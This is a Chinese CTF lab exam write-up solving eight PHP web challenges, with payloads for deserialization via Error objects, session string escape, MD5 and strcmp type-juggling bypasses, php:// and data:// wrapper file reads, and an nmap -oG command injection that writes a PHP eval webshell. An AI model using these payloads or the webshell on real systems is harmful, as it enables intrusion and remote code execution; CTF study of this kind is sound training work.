实验室8.19CTF考核wp

web1

先看intval(strrev($_GET['c']))==0x36d,看看chatgpt怎么说

意思是要c=778

然后再看greatif( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
          if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
              eval($this->syc);
          } else {
              die("Try Hard !!");
          }

分析代码可以,md5和sha1必须要相等,但数据又不能相等,所以用Error类绕过md5和sha1检测,error类中有_tostring方法,md5()和sha1()函数都会调用__tostring方法

正则检测用取反绕过就行。<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
  if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
  eval($this->syc);
  } else {
  die("Try Hard !!");
  }

}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

得到payload:?c=778&great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22D%3A%5Clabwork%5Cphpstudy_pro%5CWWW%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A12%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22D%3A%5Clabwork%5Cphpstudy_pro%5CWWW%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A12%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D

web2

<?php
require('flag.php');
$function = @$_GET['f'];

function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件)
  $filter_arr = array('jpg','flag','php5','php4','fl1g');
  $filter = '/'.implode('|',$filter_arr).'/i';
  return preg_replace($filter,'',$img);
}


if($_SESSION){
  unset($_SESSION);//把$_SESSION重置为空
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//这里就用了变量覆盖的知识

if(!$function){
  echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
  $_SESSION['img'] = base64_encode('guest_img.png');
}else{
  $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤

if($function == 'highlight_file'){
  highlight_file('index.php');
}else if($function == 'phpinfo'){     //ta骗人,什么都没有
  eval('phpinfo();');   //maybe you can find something in here!
}else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode(base64_decode($userinfo['img'])));
}

这里注意extract($_POST);

_就是将post的内容作为这个函数的参数。 然后就是变量覆盖。

如果post传参为SESSION[flag]=aaa,那么$SESSION["user"]和$SESSION["function"]的值都会被覆盖。

至于为什么post要传SESSION[flag]=aaa而不是$SESSION[flag]=aaa,是因为SESSION是变量名,如果传$SESSION,那么就会失效。

开始有require('flag.php');说明和这个有关,

应该是通过最后一个语句拿到内容,注意俩次base64解码else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode(base64_decode($userinfo['img'])));
}

对文件名有一次解码所以要对其进行一次base64编码f(!$_GET['img_path']){
  $_SESSION['img'] = base64_encode('guest_img.png');
}else{
  $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

只能让img_path为空,并把guest_img.png逃逸出去。

因为我们要让img的内容为flag.php base64编码后的字符串,所以要传

_SESSION[img]=;s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}

但我们得到的是

img

因为在变量覆盖后面,又重新给$SESSION[img]赋值了,所以这个时候就要使用filter函数了

如果我们传的是

_SESSION[imgjpg]=;s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}

那么得到的是a:2:{s:6:"img";s:39:";s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这里就有字符串逃逸的意思了

什么意思呢?

就是把前面的"img";s:39:"当成数组名,后面的数组就变成img值为我们要读取的文件了,这里有个细节问题,这里img";s:39:是十个字符,前面却是s:6,怎么变成10呢?那就多转换几个比如改成imgjpgflag 这样可以吗?

_SESSION[imgjpgflag]=;s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}

试了一下不行,什么原因咧

又是一个细节,我们刚刚输入的序列化结果,前面a:2意思是要俩数组,中间缺一个元素

img

简单,直接再后面加上s:3:"123"来构造_SESSION[imgjpgflag]=;s:3:"123";s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}

再序列化看看

img

应该没问题了,来到页面,看页面源代码

这好办一样的操作就是把img的值换成flaaaaaag

_SESSION[imgjpgflag]=;s:3:"123";s:3:"img";s:16:"Wm14aFlXRmhZV0Zu";}

web3

查看源码,解码,谐音访问110.php $mo=$_GET['mo'];
$fish=$_GET['fish'];
$logined=false;
$keys=true;
if (!ctype_alpha($mo)){$keys=false;}
if (!is_numeric($fish) ){$keys=false;}
if (md5($mo) == md5($fish))

需要满足mo!=fish,MD5(mo)==MD5(fish)

第一种:使用数组绕过 ?mo[]=112&fishi[]=12

第二种:md5弱比较 ?mo=240610708&fish=QNKCDZO

if('f1a9' === substr(md5($b),-4,4))

要求b的md5后4位为f1a9,上脚本爆破import hashlib
def get_md5(password):
#1- 实例化加密对象
md5 = hashlib.md5()
#2- 进行加密操作
md5.update(password.encode('utf-8'))
#3- 返回加密后的结果
return md5.hexdigest()
for i in range(1,100000):
md51=get_md5(str(i))
if md51[-6:]=='f1a9':
print(i)

得到b=12400if(strcmp($_POST['password'],$password) == 0)

要想绕过验证只需要post一个数组或一个object,PHP为了可以上传一个数组,会在变量后加[],即password[]=1即可绕过成功。if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if($message->key == $key)
{
$logined=true;
}

json_decode()函数解码后key被赋值为0,与环境的key变量进行弱比较,0与任何字符串都相等

所以最后payloadget:?mo=QNKCDZO&fish=240610708&b=12400
post:password[]=1&message={"key":0}

web5

三个参数 text,file,password,先看逻辑,要text和flag is here相等,才能进入if,否则只是高亮本文件。 涉及到data伪协议 ?text=data:text/plain,flag is here php://input ?file=php://filter/convert.base64-encode/resource=flag.php 做任意文件读写

给了提示读取试试

?text=data:text/pain,flag is here&file=php://filter/convert.base64-encode/resource=here.php

解码<?php

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("OMO SO CLOSE !///COME ON");
}
}
}
?>

如果file没有匹配到flag,那就会进入else,通过包含here.php这个文件,生成一个Flag类的对象,就可以让password得到这个参数,之后反序列化得到flag

O:4:“Flag”:1:{s:4:“file”;N;} 增加一个flag.php变成 O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 这样就能读取flag.php的内容

注意这里要是file=here.php,因为之前我们是在读取源码,这里不需要读了,只要包含就行。

/?text=data:text/pain,flag is here&file=here.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

web6

我去,上来看不懂,全程看别的师傅的wp

这有个system来执行命令,而且有传参,肯定是利用这里了

这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…

这时候就只有想想能不能利用nmap来做些什么了。

这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

这个命令就是我们的输入可控!然后写入到文件!想到了上传一个一句话木马?host=' <?php @eval($_POST["a"]);?> -oG 1.php '

返回文件名

蚁剑连接

找到根目录下有个flag

web7

这题先访问dance.php

结合前后,字符串逃逸

okok替换成nonoo,字符串变长,典型的字符串逃逸,好像和CTFshow上的类似

直接上payload?c=1&x=1&k=okokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokok ";s:5:"token";s:5:"sings";}

web8

先dirsearch扫

查看发现test.php有东西

抓包

发现遥相呼应

颠倒一下

ZmxhZ3t5dWFuX3NoZW5fY2hlbmdfZ29uZ19xaV9kb25nISEhfQ==

解码